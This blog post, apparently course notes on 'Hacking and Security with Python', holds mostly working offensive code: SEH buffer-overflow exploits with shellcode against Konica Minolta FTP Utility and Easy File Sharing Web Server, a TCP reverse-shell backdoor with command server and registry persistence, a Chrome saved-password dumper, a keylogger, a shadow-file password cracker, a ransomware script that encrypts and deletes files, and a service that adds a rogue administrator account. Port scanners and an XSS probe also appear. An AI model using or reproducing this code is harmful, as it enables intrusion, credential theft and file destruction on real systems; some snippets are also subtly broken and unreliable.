Hacking and Security with Python [19 March]

William Lee·2025년 3월 19일

FTP (File Transfer Protocol)

Client

import socket

addr = ("127.0.0.1", 4444) #4444 

with socket.socket() as s:
    s.connect(addr) #connection
    
    while(1):
        str1 = input("echo: ").encode()
        s.send(str1) #send data
        data = s.recv(1024)
        print(data.decode())

Server

import socket

addr = ("0.0.0.0", 4444)

with socket.socket() as s:
    s.bind(addr)
    s.listen()
    print("Server is started...")
    
    conn, addr = s.accept()
    print("Client = {}:{}".format(addr[0], addr[1]))
    
    while(1):
        data = conn.recv(1024)
        if data.decode() == "quit":
            print("Quit connection")
            exit()
        conn.send(data)
        print(data.decode())

ftplib

from ftplib import FTP

ftp = FTP("127.0.0.1")
print('Banner: ', ftp.getwelcome())
print('Login: ', ftp.login())
print('LIST: ',ftp.retrlines('LIST'))

print('RETR: ',ftp.retrbinary('RETR down.txt', open('down_test.txt', 'wb').write))
print('STOR: ',ftp.storbinary('STOR up.txt',open('up_test.txt','rb')))

FTP attack

# Konica Minolta FTP Utility 1.00
# Authenticated CWD Command Overflow (SEH)
# calc.exe execution / shellcode / msfvenom - kalilinux - Metasploit

buf =  b""
buf += b"\x6a\x30\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13"
buf += b"\xf4\xdd\xb5\xba\x83\xeb\xfc\xe2\xf4\x08\x35\x37\xba"
buf += b"\xf4\xdd\xd5\x33\x11\xec\x75\xde\x7f\x8d\x85\x31\xa6"
buf += b"\xd1\x3e\xe8\xe0\x56\xc7\x92\xfb\x6a\xff\x9c\xc5\x22"
buf += b"\x19\x86\x95\xa1\xb7\x96\xd4\x1c\x7a\xb7\xf5\x1a\x57"
buf += b"\x48\xa6\x8a\x3e\xe8\xe4\x56\xff\x86\x7f\x91\xa4\xc2"
buf += b"\x17\x95\xb4\x6b\xa5\x56\xec\x9a\xf5\x0e\x3e\xf3\xec"
buf += b"\x3e\x8f\xf3\x7f\xe9\x3e\xbb\x22\xec\x4a\x16\x35\x12"
buf += b"\xb8\xbb\x33\xe5\x55\xcf\x02\xde\xc8\x42\xcf\xa0\x91"
buf += b"\xcf\x10\x85\x3e\xe2\xd0\xdc\x66\xdc\x7f\xd1\xfe\x31"
buf += b"\xac\xc1\xb4\x69\x7f\xd9\x3e\xbb\x24\x54\xf1\x9e\xd0"
buf += b"\x86\xee\xdb\xad\x87\xe4\x45\x14\x82\xea\xe0\x7f\xcf"
buf += b"\x5e\x37\xa9\xb7\xb4\x37\x71\x6f\xb5\xba\xf4\x8d\xdd"
buf += b"\x8b\x7f\xb2\x32\x45\x21\x66\x4b\xb4\xc6\x37\xdd\x1c"
buf += b"\x61\x60\x28\x45\x21\xe1\xb3\xc6\xfe\x5d\x4e\x5a\x81"
buf += b"\xd8\x0e\xfd\xe7\xaf\xda\xd0\xf4\x8e\x4a\x6f\x97\xbc"
buf += b"\xd9\xd9\xf4\xdd\xb5\xba"

import struct, socket
from ftplib import FTP

offset = 1037
sehNext = struct.pack('<L', 0x90900BEB) # Short jump OB
sehHandler = struct.pack('<L', 0x12206d9d) # PPR - KMFtpCM.dll

payload = "CWD "
payload += "A" * offset
payload += sehNext
payload += sehHandler
payload += buf
payload += "B" * (4500-len(buf))

ftp = FTP("127.0.0.1")
print(ftp.login())
ftp.retrlines(payload)

HTTP

Requests / Json

import requests, json

host = "www.naver.com"
res = requests.get(host)
print(res.status_code)

my_params = {'id':'id','pass':'pass'}
requests.get(host, params = my_params)

my_data = json.dumps({'id':'id','pass':'pass'})
response = requests.get(host, my_data)

my_header = {'my_header':'value'}
my_cookies = {'session_id':'cookie'}
res = requests.get(host, headers=my_header, cookies=my_cookies)

Http attack

# Easy File sharing Web Server 7.2
# Remote Overflow (SEH)

import sys, socket, struct

if len(sys.argv) <= 1:
    print("Usage: python efsws.py [host][port]")
    exit()
    
host = sys.argv[1]
port = int(sys.argv[2])

shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
"\x1c\x39\xbd"
)

print("[+]Connecting to" + host)

craftedreq =  "A"*4059
craftedreq += "\xeb\x06\x90\x90"     		 # basic SEH jump
craftedreq += struct.pack("<I", 0x10017743)      # pop commands from ImageLoad.dll                         
craftedreq += "\x90"*40                          # NOPer
craftedreq += shellcode                         
craftedreq += "C"*50                             # filler

print(len(craftedreq))

httpreq = (
"GET /changeuser.ghp HTTP/1.1\r\n"
"User-Agent: Mozilla/4.0\r\n"
"Host:" + host + ":" + str(port) + "\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: en-us\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Referer: http://" + host + "/\r\n"
"Cookie: SESSIONID=6771; UserID=" + craftedreq + "; PassWD=;\r\n"
"Conection: Keep-Alive\r\n\r\n"
)

print("[+]Sending the Calc....")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(httpreq)
s.close()

Backdoor

Tcp reverse backdoor

import os, socket, sys

def usage(): # help
    print('''
          tcp_reverse_backdoor.py <host> <port>
          ''')
    exit()
    
if len(sys.argv) < 3:
    usage()
    
with socket.socket() as s:
    addr = (sys.argv[1], int(sys.argv[2]))
    s.connect(addr)
    s.send('''
           ###########################
           # tcp_reverse_backdoor.py #
           ###########################
           '''.encode())
    
    while True:
        data = s.recv(1024).decode().lower()
        if "q" == data:
            exit()
        else:
            if data.startswith("cd"):
                # change directory
                os.chdir(data[3:].replace('₩n',''))
            else:
                result = os.popen(data).read()
            result += '₩n>>'
            s.send(result.encode())

cnc server

import socket

addr = ('0.0.0.0', 12345)

with socket.socket() as s:
    s.bind(addr)
    s.listen()
    print('cnc server is started...')
    
    conn, addr = s.accept()
    print('Connected by', addr)
    
    while True:
        try:
            # display
            data = conn.recv(1024)
            if data:
                print(data.decode(), end='')
            
            # send
            data = input()
            conn.send(data.encode())        
        except Exception as e:
            print(e)
        
print("{} is disconnected".format(addr))

Register a program via backdoor

import sys, os

from winreg import *

def RegisterPy():
    regpath = "Software\Microsoft\Windows\CurrentVersion\Run"
    sub_key = "Backdoor"
    value = os.path.realpath(__file__) # 현재 파일의 경로
    with OpenKey(HKEY_LOCAL_MACHINE, regpath) as reg: # 권한 가져옴
        try:
            SetValueEx(reg, sub_key,0, REG_SZ, value) # 실제로 세팅
            CloseKey(reg)
        except Exception as e:
            print("*** Unable to register!\n", e)
            return
        print("--- Backdoor is now registered!")
        return

def reg_add():
	#value = os.path.realpath(__file__)
	value = "notepad.exe"
	command = """reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "{}" """.format(value)
	result = os.popen(command).read()
	print(result)
    
if __name__ == "__main__":
    reg_add()

Port Scanner

Basic Port Scan

import socket
 
ip = "127.0.0.1"
portNums = list(range(1023))

with open("portScanResult.txt",'w') as f:
    for portNum in portNums:
        try:
            with socket.socket() as s:
                s.settimeout(2)
                print("[*] try to connect to {}:{}".format(ip, portNum))
                s.connect((ip, portNum))
                s.send("Python Connect\n".encode())
                banner = s.recv(1024) 
                if banner:
                    f.write("[+] {} port is opened: {}\n".format(portNum, banner.decode()[:20]))
                else :
                    f.write("[+] {} port is opened: None\n".format(portNum))
                    
        except Exception as e:
            if str(e) == "timed out":
                f.write("[+] {} port is opened: {}\n".format(portNum, str(e)))
            else : print(e)
 
# Result
with open("portScanResult.txt",'r') as f:
    print("\n\n\n########## the result ##########\n")
    print(f.read())
    print(">> the result in portScanResult.txt")

Port Scan with multi-threads

import threading        
import socket                
import time                    

resultLock = threading.Semaphore(value=1)    # 결과 출력을 제어할 세마포어
maxConnection = 100             # 스레드 개수를 제어할 세마포어
connection_lock = threading.BoundedSemaphore(value=maxConnection) 
port_result = {}    # 결과를 저장하는 dict
 
# 스레드 함수
def scanPort(tgtHost, portNum):
    try:                        # 접속 시도
        with socket.socket() as s:
            data = None
            
            s.settimeout(2)
            s.connect((tgtHost, portNum))
            s.send("Python Connect\n".encode())

            data = s.recv(1024).decode()
            
    except Exception as e :
        if str(e) == "timed out":
                data = str(e)
        else : data = 'error'
    finally:
        if data is None:
            data = "no_data"
        elif data == 'error':
            connection_lock.release() # 스레드 세마포어 해제
            return
        resultLock.acquire()# 출력 세마포어 설정
        print("[+] Port {} openend: {}".format(portNum, data[:20]).strip())
        resultLock.release()# 출력 세마포어 해제
        port_result[portNum]= data
        connection_lock.release() # 스레드 세마포어 해제
 
# 메인 함수
def main():
    tgtHost = "127.0.0.1" # 스캔 대상 tgtHost

    for portNum in range(1024): # 반복문 수행 0~1024 포트
        connection_lock.acquire()
        t = threading.Thread(target=scanPort, args =(tgtHost, portNum)) # 쓰레드 초기화
        t.start() # 스레드 실행
    time.sleep(5)

    print(port_result)
            
 
    # csv 파일 저장
    with open("portScanResult.csv",'w') as f: # 결과를 저장할 csv 파일 열기
        f.write("portNum, banner\n") # 컬럼 쓰기
        for p in sorted(port_result.keys()):       
            f.write("{}, {}".format(p, port_result[p]))

    # 결과 출력
    print("\n\n\n+++++++++++ the result +++++++++++")
    print('portNum' + '\t' + 'banner')
    for p in sorted(port_result.keys()):       
        print("{} \t {}".format(p, port_result[p][:20].strip()))
    print(">> the result in portScanResult.csv")
 
if __name__ == "__main__":
    startTime = time.time()
    main()
    endTime = time.time()
    print("exceuted Time:", (endTime-startTime))

Nmap

import nmap

nm = nmap.PortScanner()
result = nm.scan(hosts="127.0.0.1",ports='20-443', arguments='-sV')
print(result)

Optparse

import nmap
import time
import datetime
import os.path
import os
import optparse
 
#optparse
parser = optparse.OptionParser('usage PortScanner -t <tgtHost> -p <tgtPort> -n <nmapOption>')
parser.add_option('-t', dest='tgtHost', type='string', help='must specify target Host')
parser.add_option('-p', dest='tgtPort', type='string', help='must specify target Port')
parser.add_option('-n', dest='nmapOption', type='string', help='specify nmapOption')
(option, args) = parser.parse_args()
 
if (option.tgtHost == None) | (option.tgtPort == None):
    print(parser.usage)
    exit(0) 
 
# 전역 변수 초기화
startTime = time.time()                # 시작 시간 기록
nm = nmap.PortScanner()                # nmap 객체 생성
hostList = option.tgtHost.split(',')                # 호스트 리스트 작성
portList = option.tgtPort              # 포트 리스트 작성
if option.nmapOption:
        myArg = option.nmapOption      # 옵션 설정
 
# 폴더 생성        
fileList = [] # 파일 이름 저장할 리스트 생성
dirName = 'scan_result'  # 폴더 이름 지정
if not os.path.exists('./' + dirName): # 폴더 없을 시 폴더 생성
    os.system('mkdir ' + dirName)
    print(dirName + " directory is made\n")
else: # 폴더 존재 시 폴더 생성 안 함
    print(dirName + " directory exists already\n")
if not os.path.isdir(dirName): # 해당 파일이 폴더가 아닐 경우 오류 발생
        print("Err: Same name file exists with directory name")
        exit()  # 프로그램 종료
 
# 스캔 시작
for host in hostList:
        host = host.strip() # 사용자가 공백을 입력했을 경우를 위해 스트립함
        print("scan {}:{}\nOptions: {}".format(host,portList,myArg))
        result = nm.scan(hosts=host,
                         ports=portList,
                         arguments=myArg) # 스캔 수행
        
        ntime = str(datetime.datetime.now()).replace(':','_') # 날짜 기록
        ntime = ntime.replace(' ','_')
        filename=ntime+'_'+host+'_result.csv' # 파일 이름 생성

        with open('./'+dirName+'/'+filename,'w') as f: # 파일 열기
            try: f.write("os info : " + (result['scan'][host]['osmatch'][0]['name']) + '\n')
            except : f.write("os info : unknown\n")
            f.write(nm.csv().replace(';',',')) # ms-csv형식으로 쓰기
        fileList.append(filename) # 파일 리스트에 목록 추가
 
# 결과 출력 : [2) python-nmap 체험하기]에서 사용한 코드를 그대로 사용하였다.
        for host in nm.all_hosts():
                print('\n\n------------------------result-------------------------')
                print('Host : %s ( %s)' %(host, nm[host].hostname()))
                print('State : %s' % nm[host].state())
                try:                            # OS 정보 출력
                        print('OS : '+ result['scan'][host]['osmatch'][0]['name'] + '\n')
                except:
                        print('OS : unknown\n')
                proto = 'tcp'
                print('--------')
                print('Protocol : %s' %proto)
                lport = nm[host][proto].keys()
                sorted(lport)
                for port in lport:
                        print('port : %s\tstate : %s' % (port,
                                str(nm[host][proto][port]['state'])))
                print("\n\n----------------------------------------------------------")
 
print("It's Finished!!")
 
endTime = time.time() # 종료 시간 기록
 
print("\n\n----------------------------------------------------------")
print("executed Time : " + str(endTime - startTime)) # 실행 시간 출력
 
print("\n\n>>>>>>>>>>> please check your result files")
print("This is your path:\n\t" + os.path.realpath(dirName) + '\n')
for fileName in fileList: # 생성한 파일 목록 출력
        print(fileName)

Web Scanner

OWASP ZAP

Beautiful Soup

from bs4 import BeautifulSoup
from urllib.request import urlopen

html = urlopen("http://www.daum.net/")
bsObj = BeautifulSoup(html.read(), "html.parser")

## TODO : write your code!!
divlist = bsObj.findAll('div')
print(divlist)

Crawling

from bs4 import BeautifulSoup
from urllib.request import urlopen
import re

host = "http://www.boannews.com/media/t_list.asp?kind=0"
html = urlopen(host)
bsObj = BeautifulSoup(html, "html.parser")

newsLink = set()
a1 = bsObj.findAll("a", href=re.compile("^http://www.boannews.com/"))
a2 = bsObj.findAll("a", href=re.compile("^\/"))

for link in a1:
    newsLink.add(link["href"])
for link in a2:
    newsLink.add("http://www.boannews.com" + link["href"])
    
for a in newsLink:
    if a.find("/media/") != -1:
        print(a)

Cross Site Script (XSS)

import requests, json

server = "172.30.1.43"

def check_xss(url, param_info, s):
    pattern1 = "<script>document.write('k13k5d2')</script>"
    
    #connect test
    res = s.get(url,
                 params=param_info["url_param"],
                 data=json.dumps(param_info["post_param"])
                 )
    if res.status_code is not 200:
        return False
    
    # url_param test
    for key in param_info["url_param"].keys():
        temp_param = param_info["url_param"]
        temp_param[key] = pattern1
        
        res = s.get(url,
                 params=temp_param,
                 data=json.dumps(param_info["post_param"])
                 )

        if res.text.find(pattern1) != -1:
            print("the text is found!")
            return True
			
    # post_param test
	
    # cookie_param test
    print("the text is not found")
    return False

with requests.Session() as s:
    #get cookie
    url = "http://"+server+"/bWAPP/login.php"
    # login
    post_param = {"login":"bee","password":"bug","security_level":"0","form":"submit"}
    res = s.post(url, data=post_param)
    print(s.cookies)
    
    # check xss
    url = "http://"+server+"/bWAPP/htmli_get.php"
    url_param = {"firstname":None, "lastname":None, "form":"submit"}
    post_param = {"": ""}
    cookie_param = {"": ""}
    param_info = {
        "url_param":url_param,
        "post_param":post_param
                  }
    
    check_xss(url, param_info, s)

Unix Password Cracker

try:
    import crypt
    import optparse
    import sys
except Exception as e:
    print ("This tool for Unix or Linux System")
    sys.exit(0)
    
# optparse
parser = optparse.OptionParser('uage %prog -t <taget shadow file> -d <dictionary file>')
parser.add_option('-t', dest='shadowfile', type='string', help='specify target shadow file')
parser.add_option('-d', dest='dicfile', type='string', help='specify dictionary file>')
 
# 전역변수 초기화
(option, args) = parser.parse_args()
shadowfile = option.shadowfile
dicfile = option.dicfile
 
# 입력값 검증
if (shadowfile == None) | (dicfile == None):
    print(parser.usage)
    sys.exit(0)                  
    
# 패스워드 테스트 함수
def testPass(cryptPass):
    # 만약 패스워드가 존재할 시에... (패스워드 필드를 $로 구분함)
    if cryptPass.find('$')==-1:
        return
    
    # 필드를 쪼개어 패스워드 필드를 추출해냄
    cryptPass1 = cryptPass.split('$')
    hashtype = cryptPass1[1]
    salt = cryptPass1[2]
    pass1 = cryptPass1[3]
    
    # 딕셔너리의 단어 해시 값과 실제 패스워드 해시 값을 비교
    dictFile = open(dicfile,'r')
    for word in dictFile.readlines():
        cryptWord = crypt.crypt(word[:-1],'$'+hashtype+'$'+salt)
        list1=cryptWord.split('$')
        cryptWord=list1[3]
        if(cryptWord == pass1):
            print ("[+] Found Password : "+word[:-1])
            return
    print ("[-] Password Not Found. ")
    return
 
# main 함수
def main():
    passFile = open(shadowfile)
    for line in passFile.readlines():
        if ":" in line:
            user = line.split(':')[0]
            cryptPass = line.split(':')[1].strip(' ')
            print("[*] Cracking Password For: " + user)
            testPass(cryptPass)
            
if __name__=="__main__":
    main()

Password Dump through Chrome

import os 
import sqlite3
import win32crypt

sourceData = os.getenv("LOCALAPPDATA")  + "\\Google\\Chrome\\User Data\\Default\\Login Data"
#C:\Users\gasbugs\AppData\Local\Google\Chrome\User Data\Default\Login Data
destData = "copied_login_data.db"

with open(sourceData, 'rb') as f:
    data = f.read()
with open(destData,'wb') as f:
    f.write(data)

# Connect to the copied Database
with sqlite3.connect(destData) as conn:
    c = conn.cursor()
    c.execute('SELECT action_url, username_value, password_value FROM logins') 

    # To retrieve data after executing a SELECT statement, we call fetchall() to get a list of the matching rows.
    for raw in c.fetchall():
        if raw[0] and raw[1] and  raw[2]:
            pw = win32crypt.CryptUnprotectData(raw[2])[1] # pass the encrypted Password to CryptUnprotectData API function to decrypt it  
            print("""
url: {}
id: {}
pw: {}""".format(raw[0],raw[1],pw))# print the action_url (raw[0]) and print the username_value (raw[1])

Python Windows Key Logger

import pythoncom, pyHook

#global window
window = None

def OnKeyboardEvent(event):
    global window
    try:
        if window != int(event.Window):
            window = int(event.Window)
            print('\n\nTime:{}\nWindowName:{}\n'.format(event.Time,event.WindowName))
        
        if "Return" == str(event.Key) :
            print("<Enter>")
        elif "Tab" ==  str(event.Key) :
            print("<Tab>")
        elif str(event.Key).endswith("shift") :
            print("<Shift>",end='')
        else :
                print(event.Key.lower(), end='')
            else:
                print(event.Key, end='')
    except:
        pass
    # return True to pass the event to other handlers
    return True

# create a hook manager
hm = pyHook.HookManager()
# watch for all mouse events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

RSA

def encrypt_RSA(public_key_loc, message):
    '''
    param: public_key_loc Path to public key
    param: message String to be encrypted
    return base64 encoded encrypted string
    '''
    from Crypto.PublicKey import RSA
    from Crypto.Cipher import PKCS1_OAEP
    key = open(public_key_loc, "r").read()
    rsakey = RSA.importKey(key)
    rsakey = PKCS1_OAEP.new(rsakey)
    encrypted = rsakey.encrypt(message)
    return encrypted.encode('base64')

def decrypt_RSA(private_key_loc, package):
    '''
    param: public_key_loc Path to your private key
    param: package String to be decrypted
    return decrypted string
    '''
    from Crypto.PublicKey import RSA
    from Crypto.Cipher import PKCS1_OAEP
    from base64 import b64decode
    key = open(private_key_loc, "r").read()
    rsakey = RSA.importKey(key)
    rsakey = PKCS1_OAEP.new(rsakey)
    decrypted = rsakey.decrypt(b64decode(package))
    return decrypted

def generate_RSA(bits=2048):
    '''
    Generate an RSA keypair with an exponent of 65537 in PEM format
    param: bits The key length in bits
    Return private key and public key
    '''
    from Crypto.PublicKey import RSA
    new_key = RSA.generate(bits, e=65537)
    public_key = new_key.publickey().exportKey("PEM")
    private_key = new_key.exportKey("PEM")
    return private_key, public_key

Ransomware

import pyCryptoRSA
import os
import sys
import optparse

## optparse
parser = optparse.OptionParser('Usage ransomware -m <mode> -p <directory> -l <extands list>')
parser.add_option('-m', dest='mode', type='string', help='must specify mode(generateKey | encrypt | decrypt)')
parser.add_option('-d', dest='dir', type='string', help='must specify directory')
parser.add_option('-l', dest='list', type='string', help='must specify extands list with comma(,)')

## 전역변수 초기화
(option, args) = parser.parse_args()

if (option.mode == None) | (option.dir == None) | (option.list == None):
    if ((option.mode=="generateKey") & (option.dir != None)):
        pass
    elif (option.mode=="decrypt") & (option.dir != None):
        pass
    else:
        print(parser.usage)
        sys.exit(0)
    
mode = option.mode
dir = option.dir

if option.list:
    try:
        option.list.index(",")
        list = (option.list).split(",")
    except Exception as e:
        list = []
        list.append(option.list)    

## RSA 키 생성하여 저장
if (mode == "generateKey"):
    tempTuple=pyCryptoRSA.generate_RSA()
    
    # public key
    f = open(dir + "\\pri.key", "w")
    f.write(tempTuple[0])
    f.close()
    
    # private key
    f = open(dir + "\\pub.key", "w")
    f.write(tempTuple[1])
    f.close()
    
    print("complete gernerating keys")

## 암호화 진행
if(mode == "encrypt"):
    # pub.key 가져오기
    pubKey = dir+"\\pub.key"
    print("read " + pubKey + "...")
    
    # 암호화
    print("start encryption")
    for root, dirs, files in os.walk(dir):
        for file in files:
            # 확장자가 암호화 대상인지 검사
            try:
                list.index(file.split(".")[-1])
                pass
            except Exception as e:
                continue
            
            file = root + "\\" + file
            
            # 암호화 수행
            fileData = open(file, "rb")
            newFile = open(file+".en", "wb")
            while(True):
                content = fileData.read(200)
                if(content):
                    content = pyCryptoRSA.encrypt_RSA(pubKey, content)
                    newFile.writelines(content)
                else:
                    break
            fileData.close()
            newFile.close()
            
            # 원본 파일 삭제
            os.unlink(file)
            print("\t[+]encrypted: " + file)
    
    print("complete encryption")       

## 복호화 진행
if(mode == "decrypt"):
    # pri.key 가져오기
    priKey = dir+"\\pri.key"  
    print("read " + priKey + "...")
    
    #복호화
    print("start decryption")
    for root, dirs, files in os.walk(dir):
        for file in files:
            # 확장자가 복호화 대상인지 검사
            if(file.split(".")[-1] != "en"):
                continue
    
            file = root + "\\" + file
    
            # 암호화 수행
            fileData = open(file, "rb")
            newFile = open(file[:-3], "wb")
            
            while(True):
                content = ""
                for i in range(0,5):
                    content += fileData.readline()
                print(content)
                
                if(content):
                    print(content)
                    newFile.writelines(pyCryptoRSA.decrypt_RSA(priKey, content))
                else:
                    break
            fileData.close()
            newFile.close()
            
            # 원본 파일 삭제
            os.unlink(file)
            print("\t[+]decrypted: " + file[:-3])            
        
    print("complete decryption")

Windows privilege escalation

import servicemanager
import win32serviceutil
import win32service
import win32api
import os, time, ctypes

import win32net
import win32netcon

def useradd(USER = "Boan", GROUP = "Administrators"):    
        user_info = {
               "name": USER,
               "password": "!qhdkscjfwj@",
               "priv": win32netcon.USER_PRIV_USER,
               "home_dir": None,
               "comment": None,
               "flags": win32netcon.UF_SCRIPT,
               "script_path": None
                }

        user_group_info = {"domainandname": USER}

        try:
            win32net.NetUserAdd (None, 1, user_info)
            win32net.NetLocalGroupAddMembers (None, GROUP, 3, [user_group_info])
        except Exception as e:
            print(e)
            
class Svc(win32serviceutil.ServiceFramework):
    
    _svc_name_ = 'ScsiAccess'
    _svc_display_name_ = 'ScsiAccess'

    def __init__(self, *args):
        win32serviceutil.ServiceFramework.__init__(self, *args)
           
    def sleep(self, sec):
        time.sleep(1)
        
    def SvcDoRun(self):
        self.ReportServiceStatus(win32service.SERVICE_START_PENDING)
        try:
            self.ReportServiceStatus(win32service.SERVICE_RUNNING)
            self.main()            
           
        except Exception as x:
            self.SvcStop()
         
    def SvcStop(self):
        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
        self.stop()
        self.ReportServiceStatus(win32service.SERVICE_STOPPED)
        
    def main(self):
        self.runflag=True 

        useradd()
                    
        while self.runflag:
            time.sleep(1)
                        
    def stop(self):
         self.runflag=False

if __name__ == '__main__':    
    servicemanager.Initialize() 
    servicemanager.PrepareToHostSingle(Svc)
    servicemanager.StartServiceCtrlDispatcher()
    win32serviceutil.HandleCommandLine(Svc)
profile
Cyber Security Graduate

0개의 댓글